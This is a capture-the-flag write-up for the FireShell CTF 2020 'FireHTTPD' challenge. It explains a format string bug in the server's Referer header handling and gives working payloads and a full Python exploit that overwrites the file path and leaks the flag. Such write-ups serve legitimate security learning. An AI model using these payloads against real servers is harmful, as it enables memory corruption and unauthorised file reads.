[Pwn] FireShell CTF 2020 - FireHTTPD

FireHTTPD

Solves: 23

Points: 492

Description:
UPDATE: Server is running in /home/ctf/firehttpd Flag is on /home/ctf/flag

http://142.93.113.55:31084/

firehttpd
a6e05cc456b289505a6c5e36f0c04ed5

libc.so.6
2fb0d6800d4d79ffdc7a388d7fe6aea0

Author: Alisson Bezerra

HTTP Server

First of all thanks to Alisson for creating a challenge that is close to a real app, something that is close to reality as we say in Portugal a challenge with “head, torso and limbs”.

Back to the challenge firehttpd is a http server, after looking at the code in the function serve_file we can find a format string vulnerability in sprintf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  unsigned __int64 __fastcall serve_file(unsigned int a1, const char *a2) {
...
v5 = strstr(a2, "..");
while ( v3 > 0 && strcmp("\n", &s1) )
{
v3 = get_line(a1, &s1, 1024LL);
if ( !strncmp(&s1, "Referer: ", 9uLL) )
sprintf(&s, &s1); // format string vulnerability
}
if ( access(a2, 0) == -1 || v5 )
{
not_found(a1);
}
else
{
headers(a1, a2, &s);
stream = fopen(a2, "r");
cat(a1, stream);
fclose(stream);
}
...
}

Also there is a .. filter to prevent file transversal, strstr will return a pointer if finds a “..” in the string and if that happens we will fall in to the not_found thus not reading the flag file.

Solution

The easiest solution was to actually use format string to clear a5 variable with this you could file transversal by bypassing the filter. But during the ctf I didn’t pay much attention to the “..” filter and only focused on the string containing the file path which made the challenge a bit harder, because we kind of need to clear the path present there and also write 4 characters(“flag”) to open the file.

I will explain my solution, the first thing is to leak a stack address because we want to modify the value of a local variable and as we know local variables are stored in the stack, we can try to find a pointer to the path in the stack by using the telescope command of pwndbg:

First we set a breakpoint:

1
2
3
4
5
6
pwndbg> b main
pwndbg> r
pwndbg> pie
Calculated VA from /ctf/pwn/firehttpd/firehttpd = 0x555555554000
pwndbg> b *0x555555554000+0x2011
pwndbg> c

The moment that it hit the breakpoint:

Then we can use telescope command to check the values in the stack:

As you can see above the pointer to the file path is at the 5th position so lets leak it with format string:

1
2
3
4
5
6
7
8
9
10
11
12
13
def formats(s):
while True:
try:
return requests.get(url,headers={
'Content-Type': 'text/html',
'Server': 'FireHTTPD/0.0.1',
'Referer':s})
except requests.exceptions.ConnectionError:
print('error')
pass

r=formats('%5$lx')
FILENAME = int(r.headers['Referer'],16)

Now we need to write into that address, since the server is always running and doesn’t restart we can split the exploit in different request.

We need to write 4 bytes and clear the previous path, we can use %ln to clear the path with nulls, the l length modifier means long which goes up to 8 bytes which is what we really want to clear the entire path.

Next I tried to use two %hn like we usually do in printf challenges but for some reason I was getting some memory errors, maybe because the number of the printed characters required was too high.

If you want to know more about length modifiers you can read the man page of printf:

1
$ man printf\(3\)

Two %hn didn’t work so to write four characters we need to do four %hhn each one will write the maximum of a char 1 byte:

1
2
3
4
5
6
7
8
9
10
11
12
payload = '%19$ln'
payload += '%{}x%19$hhn'.format(0x66-9) # f 0x66
payload += '%{}x%20$hhn'.format(0x106) # l 0x6c
payload += '%{}x%21$hhn'.format(0x94+0x61) # a 0x61
payload += '%{}x%22$hhn'.format(1+0x5) # g 0x67
payload = payload.encode() # python3 shenanigans
payload += b'_'* (56-len(payload)-1)
payload += p64(FILENAME)
payload += p64(FILENAME+1)
payload += p64(FILENAME+2)
payload += p64(FILENAME+3)
r=formats(payload) # r.text bugs out and doesn't print the body

Yes the offsets above are a mess but hey it works! (those could be calculated via debugging and do the writes one by one), also since I was using python requests to communicate with the http server for some reason the flag didn’t come out in the body (r.text).

We could solve this problem by just communicate with the server directly via tcp and construct manually the HTTP payload, another idea would be to capture the traffic using wireshark or you could do it like I did by doing an extra request to print the value where it was saved in the stack by using %s luckily the string was still saved in the stack in the next request.

1
2
3
4
5
KK = FILENAME-0xf30
payload = b'__%13$s' # Getting the flag in the next request
payload += p64(KK)
r=formats(payload)
print(r.headers)

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import requests
#host, port = "127.0.0.1", "1337"
filename = "./firehttpd"
elf = ELF(filename)
context.arch = 'amd64'
def tohex(val, nbits):
return (val + (1 << nbits)) % (1 << nbits)
if not args.REMOTE:
url = 'http://127.0.0.1:1337/index.html'
libc = elf.libc
else:
url = 'http://142.93.113.55:31084/'
libc = ELF('./libc.so.6')

def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

context.terminal = ['tmux', 'new-window'] # remove this if you don't use tmux

def formats(s):
while True:
try:
return requests.get(url,headers={
'Content-Type': 'text/html',
'Server': 'FireHTTPD/0.0.1',
'Referer':s})
except requests.exceptions.ConnectionError:
print('error')
pass

r=formats('%5$lx')
FILENAME = int(r.headers['Referer'],16)
FLAG = 0x67616c66

payload = '%19$ln'
payload += '%{}x%19$hhn'.format(0x66-9) # f 0x66
payload += '%{}x%20$hhn'.format(0x106) # l 0x6c
payload += '%{}x%21$hhn'.format(0x94+0x61) # a 0x61
payload += '%{}x%22$hhn'.format(1+0x5) # g 0x67
payload = payload.encode() # python3 shenanigans
payload += b'_'* (56-len(payload)-1)
payload += p64(FILENAME)
payload += p64(FILENAME+1)
payload += p64(FILENAME+2)
payload += p64(FILENAME+3)
r=formats(payload) # r.text bugs out and doesn't print the body

KK = FILENAME-0xf30
payload = b'__%13$s' # Getting the flag in the next request
payload += p64(KK)
r=formats(payload)
print(r.headers)

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 firehttpd.py REMOTE
[*] '/ctf/work/pwn/firehttpd/firehttpd'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/work/pwn/firehttpd/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
{'Referer': '__F#{0h_th0s3_f0rm4t_str1ngs}', 'Content-Type': 'text/html', 'Server': 'FireHTTPD/0.0.1'}